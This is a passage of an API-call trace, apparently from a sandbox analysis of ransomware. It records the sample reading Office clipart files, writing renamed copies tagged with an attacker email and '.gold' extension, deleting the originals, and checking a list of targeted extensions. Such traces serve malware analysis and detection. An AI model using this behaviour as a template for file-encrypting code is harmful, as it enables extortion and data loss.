lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.039] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.039] SetEndOfFile (hFile=0x180) returned 1 [0106.039] CloseHandle (hObject=0x180) returned 1 [0106.040] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.040] SetEndOfFile (hFile=0x39c) returned 1 [0106.041] CloseHandle (hObject=0x39c) returned 1 [0106.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0106.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0106.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0106.050] lstrlenW (lpString=".doc") returned 4 [0106.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.050] lstrlenW (lpString=".docx") returned 5 [0106.051] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0106.051] lstrlenW (lpString=".pdf") returned 4 [0106.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.051] lstrlenW (lpString=".xls") returned 4 [0106.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.051] lstrlenW (lpString=".xlsx") returned 5 [0106.051] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0106.051] lstrlenW (lpString=".ppt") returned 4 [0106.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0106.051] lstrlenW (lpString=".zip") returned 4 [0106.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.051] lstrlenW (lpString=".rar") returned 4 [0106.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.051] lstrlenW (lpString=".bz2") returned 4 [0106.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.051] lstrlenW (lpString=".7z") returned 3 [0106.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0106.051] lstrlenW (lpString=".dbf") returned 4 [0106.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0106.051] lstrlenW (lpString=".1cd") returned 4 [0106.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0106.051] lstrlenW (lpString=".jpg") returned 4 [0106.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0106.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0106.051] lstrlenW (lpString=".doc") returned 4 [0106.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.051] lstrlenW (lpString=".docx") returned 5 [0106.051] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0106.051] lstrlenW (lpString=".pdf") returned 4 [0106.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.051] lstrlenW (lpString=".xls") returned 4 [0106.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.051] lstrlenW (lpString=".xlsx") returned 5 [0106.052] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0106.052] lstrlenW (lpString=".ppt") returned 4 [0106.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0106.052] lstrlenW (lpString=".zip") returned 4 [0106.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.052] lstrlenW (lpString=".rar") returned 4 [0106.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.052] lstrlenW (lpString=".bz2") returned 4 [0106.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.052] lstrlenW (lpString=".7z") returned 3 [0106.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0106.052] lstrlenW (lpString=".dbf") returned 4 [0106.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0106.052] lstrlenW (lpString=".1cd") returned 4 [0106.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0106.052] lstrlenW (lpString=".jpg") returned 4 [0106.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.052] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.052] lstrlenW (lpString="J0106020.WMF") returned 12 [0106.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0106.053] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=10060) returned 1 [0106.053] CloseHandle (hObject=0x188) returned 1 [0106.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf")) returned 0x20 [0106.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0106.053] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.053] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0106.054] GetLastError () returned 0x0 [0106.054] ReadFile (in: hFile=0x188, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x274c, lpOverlapped=0x0) returned 1 [0106.069] WriteFile (in: hFile=0x3b8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2750, lpOverlapped=0x0) returned 1 [0106.070] ReadFile (in: hFile=0x188, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.070] WriteFile (in: hFile=0x3b8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.070] SetEndOfFile (hFile=0x3b8) returned 1 [0106.070] CloseHandle (hObject=0x3b8) returned 1 [0106.070] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.070] SetEndOfFile (hFile=0x188) returned 1 [0106.072] CloseHandle (hObject=0x188) returned 1 [0106.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0106.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0106.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0106.073] lstrlenW (lpString=".doc") returned 4 [0106.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.073] lstrlenW (lpString=".docx") returned 5 [0106.073] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0106.073] lstrlenW (lpString=".pdf") returned 4 [0106.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.073] lstrlenW (lpString=".xls") returned 4 [0106.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.073] lstrlenW (lpString=".xlsx") returned 5 [0106.073] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0106.073] lstrlenW (lpString=".ppt") returned 4 [0106.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0106.073] lstrlenW (lpString=".zip") returned 4 [0106.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.073] lstrlenW (lpString=".rar") returned 4 [0106.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.073] lstrlenW (lpString=".bz2") returned 4 [0106.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.073] lstrlenW (lpString=".7z") returned 3 [0106.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0106.073] lstrlenW (lpString=".dbf") returned 4 [0106.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0106.074] lstrlenW (lpString=".1cd") returned 4 [0106.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0106.074] lstrlenW (lpString=".jpg") returned 4 [0106.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0106.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0106.074] lstrlenW (lpString=".doc") returned 4 [0106.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.074] lstrlenW (lpString=".docx") returned 5 [0106.074] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0106.074] lstrlenW (lpString=".pdf") returned 4 [0106.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.074] lstrlenW (lpString=".xls") returned 4 [0106.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.074] lstrlenW (lpString=".xlsx") returned 5 [0106.074] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0106.074] lstrlenW (lpString=".ppt") returned 4 [0106.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0106.074] lstrlenW (lpString=".zip") returned 4 [0106.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.074] lstrlenW (lpString=".rar") returned 4 [0106.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.074] lstrlenW (lpString=".bz2") returned 4 [0106.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.074] lstrlenW (lpString=".7z") returned 3 [0106.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0106.074] lstrlenW (lpString=".dbf") returned 4 [0106.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0106.074] lstrlenW (lpString=".1cd") returned 4 [0106.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0106.074] lstrlenW (lpString=".jpg") returned 4 [0106.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.075] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.075] lstrlenW (lpString="J0106208.WMF") returned 12 [0106.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0106.634] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=11900) returned 1 [0106.635] CloseHandle (hObject=0x3b0) returned 1 [0106.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 0x20 [0106.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0106.795] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.795] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0106.796] GetLastError () returned 0x0 [0106.796] ReadFile (in: hFile=0x188, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x2e7c, lpOverlapped=0x0) returned 1 [0106.809] WriteFile (in: hFile=0x3b8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0106.810] ReadFile (in: hFile=0x188, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.810] WriteFile (in: hFile=0x3b8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.810] SetEndOfFile (hFile=0x3b8) returned 1 [0106.810] CloseHandle (hObject=0x3b8) returned 1 [0106.810] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.810] SetEndOfFile (hFile=0x188) returned 1 [0106.813] CloseHandle (hObject=0x188) returned 1 [0106.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0106.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0106.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0106.954] lstrlenW (lpString=".doc") returned 4 [0106.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.954] lstrlenW (lpString=".docx") returned 5 [0106.954] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0106.954] lstrlenW (lpString=".pdf") returned 4 [0106.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.954] lstrlenW (lpString=".xls") returned 4 [0106.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.954] lstrlenW (lpString=".xlsx") returned 5 [0106.954] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0106.954] lstrlenW (lpString=".ppt") returned 4 [0106.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0106.954] lstrlenW (lpString=".zip") returned 4 [0106.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.954] lstrlenW (lpString=".rar") returned 4 [0106.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.954] lstrlenW (lpString=".bz2") returned 4 [0106.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.954] lstrlenW (lpString=".7z") returned 3 [0106.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0106.954] lstrlenW (lpString=".dbf") returned 4 [0106.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0106.955] lstrlenW (lpString=".1cd") returned 4 [0106.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0106.955] lstrlenW (lpString=".jpg") returned 4 [0106.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0106.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0106.955] lstrlenW (lpString=".doc") returned 4 [0106.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.955] lstrlenW (lpString=".docx") returned 5 [0106.955] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0106.955] lstrlenW (lpString=".pdf") returned 4 [0106.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.955] lstrlenW (lpString=".xls") returned 4 [0106.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.955] lstrlenW (lpString=".xlsx") returned 5 [0106.955] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0106.955] lstrlenW (lpString=".ppt") returned 4 [0106.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0106.955] lstrlenW (lpString=".zip") returned 4 [0106.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.955] lstrlenW (lpString=".rar") returned 4 [0106.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.955] lstrlenW (lpString=".bz2") returned 4 [0106.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.955] lstrlenW (lpString=".7z") returned 3 [0106.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0106.955] lstrlenW (lpString=".dbf") returned 4 [0106.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0106.955] lstrlenW (lpString=".1cd") returned 4 [0106.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0106.955] lstrlenW (lpString=".jpg") returned 4 [0106.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.955] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.955] lstrlenW (lpString="J0107146.WMF") returned 12 [0106.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.962] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=14996) returned 1 [0106.962] CloseHandle (hObject=0x3ac) returned 1 [0106.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 0x20 [0106.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.967] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.967] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0106.967] GetLastError () returned 0x0 [0106.967] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x3a94, lpOverlapped=0x0) returned 1 [0106.969] WriteFile (in: hFile=0x394, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0106.970] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.970] WriteFile (in: hFile=0x394, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.970] SetEndOfFile (hFile=0x394) returned 1 [0106.970] CloseHandle (hObject=0x394) returned 1 [0106.970] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.970] SetEndOfFile (hFile=0x3ac) returned 1 [0106.972] CloseHandle (hObject=0x3ac) returned 1 [0106.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 